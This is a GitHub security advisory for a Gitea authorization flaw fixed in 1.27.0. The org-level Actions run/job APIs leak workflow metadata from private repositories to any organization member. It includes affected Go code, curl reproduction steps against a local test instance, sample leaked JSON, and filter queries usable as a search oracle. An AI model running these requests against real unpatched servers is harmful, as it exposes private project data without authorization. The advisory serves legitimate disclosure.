GHSA-FRPW-3H2Q-4JJ6
Vulnerability from github – Published: 2026-07-21 21:52 – Updated: 2026-07-21 21:52Author: Prakhar Porwal
Date: 2026-05-24
Target: Gitea (self-hosted Git service)
Branch tested: main @ b7e95cc48c (development build, go1.26.3)
Component: routers/api/v1/org/action.go (org-level Actions API)
OWASP: API3:2023 Broken Object Property Level Authorization
1. Summary
The org-level Actions REST endpoints
GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobs
are gated only by reqOrgMembership() + reqToken(). They then call
shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) /
shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects
every action_run / action_run_job row whose repository belongs to the
org — with no per-repository ACL check.
Result: any user who is a member of an organization can enumerate workflow runs and jobs from every repository in that org, including:
- private repositories the caller has no team membership for,
- repositories where the caller has been explicitly denied the
repo.actionsunit, - repositories created by other teams the caller is not part of.
Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs,
…/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the
same caller — proving the org-level surface is the only path that leaks.
2. Affected Code
2.1 Route registration
routers/api/v1/api.go:1647-1652
addActionsRoutes(
m,
reqOrgMembership(), // reqReaderCheck
reqOrgOwnership(), // reqOwnerCheck
org.NewAction(),
)
2.2 Helper that registers run/job listing
routers/api/v1/api.go:908-941
m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)
reqReaderCheck for org-scope = reqOrgMembership() — bare org membership is
enough; no per-repo permission is consulted.
2.3 Handler
routers/api/v1/org/action.go:595-683
func (Action) ListWorkflowJobs(ctx *context.APIContext) {
shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}
func (Action) ListWorkflowRuns(ctx *context.APIContext) {
shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
}
2.4 Query construction (no ACL)
routers/api/v1/shared/action.go:138-215
opts := actions_model.FindRunOptions{
OwnerID: ownerID, // ← org ID, NOT user ID
RepoID: repoID, // = 0 at org level
ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)
models/actions/run_list.go:102-110
func (opts FindRunOptions) ToJoins() []db.JoinFunc {
if opts.OwnerID > 0 {
return []db.JoinFunc{func(sess db.Engine) error {
sess.Join("INNER", "repository",
"repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
return nil
}}
}
return nil
}
The join only constrains repository.owner_id = orgID. There is no
access/team_repo/collaboration join and no
access_model.GetDoerRepoPermission(...) filter — every row in the org is
returned.
The same bug applies to shared.ListJobs, which calls
db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})
using an analogous repository join.
3. Steps to Reproduce
3.1 Setup
- Org
1st-orgwith one private repo1st-org-repo. - Team
Ownerscontains useradmin(org owner). - Team
1st-teamhas zero repositories assigned (units permissionnonefor actions, no included repos). - User
admin2is a regular user (is_admin = false), member of1st-teamonly — so org member, but no team grants any access to1st-org-repo.
Verified that admin2 lacks direct access:
$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":"…"}[404]
$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/repos
[]
[200]
A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to
produce an action_run:
name: ci
on: push
jobs:
hello:
runs-on: ubuntu-latest
steps:
- run: echo "SECRET_INFO_FROM_PRIVATE_REPO"
3.2 Trigger
$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/actions/runs
Output (truncated)
{"workflow_runs":[{
"id":7,
"url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
"html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
"display_title":"add workflow",
"path":"ci.yml@refs/heads/main",
"event":"push",
"run_attempt":1,
"run_number":1,
"head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
"head_branch":"main",
"status":"queued",
"actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …},
"trigger_actor":{ … "login":"admin" … },
"repository":{
"id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
"description":"test123",
"private":true,
"clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
"ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
…
}
}],"total_count":1}
[200]
Same primitive for jobs:
$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
"id":7,
"run_id":7,
"name":"hello",
"labels":["ubuntu-latest"],
"head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
"head_branch":"main",
"status":"queued",
…
}],"total_count":1}
[200]
3.3 search primitives
All query parameters supported by ListRuns/ListJobs work too — turning the
endpoint into a search oracle over private workflow metadata:
# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"
# Confirm a given commit SHA exists in any private repo of the org:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"
# Filter by actor:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"
# Filter by event/status:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"
All return matching rows from private repos in the org.
4. Impact
A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org:
| Field leaked | Why it matters |
|---|---|
repository.full_name, description, private, clone URLs |
Existence + topology of private repos |
head_sha, head_branch |
Confirms commits / branch names exist in private repos |
path (workflow file) |
Reveals workflow YAML filenames |
event, display_title |
Commit messages / event types |
actor, trigger_actor |
Internal contributor identities incl. noreply emails |
created_at, started_at |
Activity timing / CI cadence |
Pagination + ?head_sha=/?branch=/?actor= filters |
Full search oracle over private workflow history |
Real-world consequences:
- Org reconnaissance — confirms existence of private projects, names, activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules.
- Insider-threat amplification — any contractor / interviewee / OSS contributor invited to a low-permission team can mine the rest of the org's CI history.
- Cross-team violation — when an org isolates internal projects via
teams (e.g.
security/vsinfra/teams), this surface flatly bypasses that boundary. - Pivot data — commit SHAs disclosed here unlock subsequent endpoints that do check ACLs but accept SHA inputs (e.g. some package / archive download paths in third-party tooling that just trusts a SHA).
The same primitive is exposed regardless of token scope, as long as the token
has organization scope, the user is an org member, and the org has any
private repos with action runs.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57897"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:52:02Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "**Author:** Prakhar Porwal\n**Date:** 2026-05-24\n**Target:** Gitea (self-hosted Git service)\n**Branch tested:** `main` @ `b7e95cc48c` (development build, go1.26.3)\n**Component:** `routers/api/v1/org/action.go` (org-level Actions API)\n**OWASP:** API3:2023 Broken Object Property Level Authorization\n\n---\n\n## 1. Summary\n\nThe org-level Actions REST endpoints\n\n```\nGET /api/v1/orgs/{org}/actions/runs\nGET /api/v1/orgs/{org}/actions/jobs\n```\n\nare gated only by **`reqOrgMembership()`** + `reqToken()`. They then call\n`shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)` /\n`shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)`, which selects\n**every** `action_run` / `action_run_job` row whose repository belongs to the\norg \u2014 with **no per-repository ACL check**.\n\nResult: any user who is a member of an organization can enumerate workflow\nruns and jobs from **every repository in that org**, including:\n\n* private repositories the caller has no team membership for,\n* repositories where the caller has been explicitly denied the `repo.actions`\n unit,\n* repositories created by other teams the caller is not part of.\n\nDirect per-repo equivalents (`GET /api/v1/repos/{owner}/{repo}/actions/runs`,\n`\u2026/jobs/{job_id}/logs`, `\u2026/runs/{run_id}/jobs`) correctly return `404` for the\nsame caller \u2014 proving the org-level surface is the only path that leaks.\n\n---\n\n## 2. Affected Code\n\n### 2.1 Route registration\n\n`routers/api/v1/api.go:1647-1652`\n\n```go\naddActionsRoutes(\n m,\n reqOrgMembership(), // reqReaderCheck\n reqOrgOwnership(), // reqOwnerCheck\n org.NewAction(),\n)\n```\n\n### 2.2 Helper that registers run/job listing\n\n`routers/api/v1/api.go:908-941`\n\n```go\nm.Group(\"/runs\", reqToken(), reqReaderCheck, act.ListWorkflowRuns)\nm.Get(\"/runs\", reqToken(), reqReaderCheck, act.ListWorkflowRuns)\nm.Get(\"/jobs\", reqToken(), reqReaderCheck, act.ListWorkflowJobs)\n```\n\n`reqReaderCheck` for org-scope = `reqOrgMembership()` \u2014 bare org membership is\nenough; no per-repo permission is consulted.\n\n### 2.3 Handler\n\n`routers/api/v1/org/action.go:595-683`\n\n```go\nfunc (Action) ListWorkflowJobs(ctx *context.APIContext) {\n shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)\n}\n\nfunc (Action) ListWorkflowRuns(ctx *context.APIContext) {\n shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)\n}\n```\n\n### 2.4 Query construction (no ACL)\n\n`routers/api/v1/shared/action.go:138-215`\n\n```go\nopts := actions_model.FindRunOptions{\n OwnerID: ownerID, // \u2190 org ID, NOT user ID\n RepoID: repoID, // = 0 at org level\n ListOptions: listOptions,\n}\n\u2026\nruns, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)\n```\n\n`models/actions/run_list.go:102-110`\n\n```go\nfunc (opts FindRunOptions) ToJoins() []db.JoinFunc {\n if opts.OwnerID \u003e 0 {\n return []db.JoinFunc{func(sess db.Engine) error {\n sess.Join(\"INNER\", \"repository\",\n \"repository.id = repo_id AND repository.owner_id = ?\", opts.OwnerID)\n return nil\n }}\n }\n return nil\n}\n```\n\nThe join only constrains `repository.owner_id = orgID`. There is no\n`access`/`team_repo`/`collaboration` join and no\n`access_model.GetDoerRepoPermission(...)` filter \u2014 every row in the org is\nreturned.\n\nThe same bug applies to `shared.ListJobs`, which calls\n`db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: \u2026})`\nusing an analogous repository join.\n\n---\n\n## 3. Steps to Reproduce\n\n### 3.1 Setup\n\n* Org **`1st-org`** with one **private** repo `1st-org-repo`.\n* Team **`Owners`** contains user **`admin`** (org owner).\n* Team **`1st-team`** has **zero repositories** assigned (units permission\n `none` for actions, no included repos).\n* User **`admin2`** is a regular user (`is_admin = false`), member of\n `1st-team` only \u2014 so org member, but **no team grants any access to\n `1st-org-repo`**.\n\nVerified that admin2 lacks direct access:\n\n```bash\n$ curl -u admin2:admin@123 -w \u0027[%{http_code}]\\n\u0027 \\\n http://localhost:3001/api/v1/repos/1st-org/1st-org-repo\n{\"errors\":null,\"message\":\"not found\",\"url\":\"\u2026\"}[404]\n\n$ curl -u admin2:admin@123 -w \u0027[%{http_code}]\\n\u0027 \\\n http://localhost:3001/api/v1/orgs/1st-org/repos\n[]\n[200]\n```\n\nA workflow file was committed to `1st-org-repo/.gitea/workflows/ci.yml` to\nproduce an `action_run`:\n\n```yaml\nname: ci\non: push\njobs:\n hello:\n runs-on: ubuntu-latest\n steps:\n - run: echo \"SECRET_INFO_FROM_PRIVATE_REPO\"\n```\n\n### 3.2 Trigger\n\n```bash\n$ curl -u admin2:admin@123 -w \u0027\\n[%{http_code}]\\n\u0027 \\\n http://localhost:3001/api/v1/orgs/1st-org/actions/runs\n```\n\n**Output (truncated)**\n\n```json\n{\"workflow_runs\":[{\n \"id\":7,\n \"url\":\"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7\",\n \"html_url\":\"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7\",\n \"display_title\":\"add workflow\",\n \"path\":\"ci.yml@refs/heads/main\",\n \"event\":\"push\",\n \"run_attempt\":1,\n \"run_number\":1,\n \"head_sha\":\"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73\",\n \"head_branch\":\"main\",\n \"status\":\"queued\",\n \"actor\":{\"id\":1,\"login\":\"admin\", \u2026 \"email\":\"1+admin@noreply.localhost\", \u2026},\n \"trigger_actor\":{ \u2026 \"login\":\"admin\" \u2026 },\n \"repository\":{\n \"id\":4,\"name\":\"1st-org-repo\",\"full_name\":\"1st-org/1st-org-repo\",\n \"description\":\"test123\",\n \"private\":true,\n \"clone_url\":\"http://localhost:3001/1st-org/1st-org-repo.git\",\n \"ssh_url\":\"prakhar@localhost:1st-org/1st-org-repo.git\",\n \u2026\n }\n}],\"total_count\":1}\n[200]\n```\n\nSame primitive for jobs:\n\n```bash\n$ curl -u admin2:admin@123 -w \u0027\\n[%{http_code}]\\n\u0027 \\\n http://localhost:3001/api/v1/orgs/1st-org/actions/jobs\n{\"jobs\":[{\n \"id\":7,\n \"run_id\":7,\n \"name\":\"hello\",\n \"labels\":[\"ubuntu-latest\"],\n \"head_sha\":\"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73\",\n \"head_branch\":\"main\",\n \"status\":\"queued\",\n \u2026\n}],\"total_count\":1}\n[200]\n```\n\n### 3.3 search primitives\n\nAll query parameters supported by `ListRuns`/`ListJobs` work too \u2014 turning the\nendpoint into a **search oracle** over private workflow metadata:\n\n```bash\n# Find runs on a specific branch in private repos:\ncurl -u admin2:\u2026 \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main\"\n\n# Confirm a given commit SHA exists in any private repo of the org:\ncurl -u admin2:\u2026 \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2\u2026\"\n\n# Filter by actor:\ncurl -u admin2:\u2026 \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin\"\n\n# Filter by event/status:\ncurl -u admin2:\u2026 \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push\u0026status=failure\"\n```\n\nAll return matching rows from private repos in the org.\n\n\n---\n\n\n## 4. Impact\n\nA low-privileged authenticated org member (no team, no repo permission, no\nadmin) gains, for every private repository in the org:\n\n| Field leaked | Why it matters |\n|-------------------------------|------------------------------------------------------|\n| `repository.full_name`, `description`, `private`, clone URLs | Existence + topology of private repos |\n| `head_sha`, `head_branch` | Confirms commits / branch names exist in private repos |\n| `path` (workflow file) | Reveals workflow YAML filenames |\n| `event`, `display_title` | Commit messages / event types |\n| `actor`, `trigger_actor` | Internal contributor identities incl. noreply emails |\n| `created_at`, `started_at` | Activity timing / CI cadence |\n| Pagination + `?head_sha=`/`?branch=`/`?actor=` filters | Full **search oracle** over private workflow history |\n\nReal-world consequences:\n\n1. **Org reconnaissance** \u2014 confirms existence of private projects, names,\n activity patterns; commit messages and branch names often reveal product\n plans, security fix windows, or release schedules.\n2. **Insider-threat amplification** \u2014 any contractor / interviewee / OSS\n contributor invited to a low-permission team can mine the rest of the\n org\u0027s CI history.\n3. **Cross-team violation** \u2014 when an org isolates internal projects via\n teams (e.g. `security/` vs `infra/` teams), this surface flatly bypasses\n that boundary.\n4. **Pivot data** \u2014 commit SHAs disclosed here unlock subsequent endpoints\n that *do* check ACLs but accept SHA inputs (e.g. some package / archive\n download paths in third-party tooling that just trusts a SHA).\n\nThe same primitive is exposed regardless of token scope, as long as the token\nhas `organization` scope, the user is an org member, and the org has any\nprivate repos with action runs.\n\n---",
"id": "GHSA-frpw-3h2q-4jj6",
"modified": "2026-07-21T21:52:02Z",
"published": "2026-07-21T21:52:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-frpw-3h2q-4jj6"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.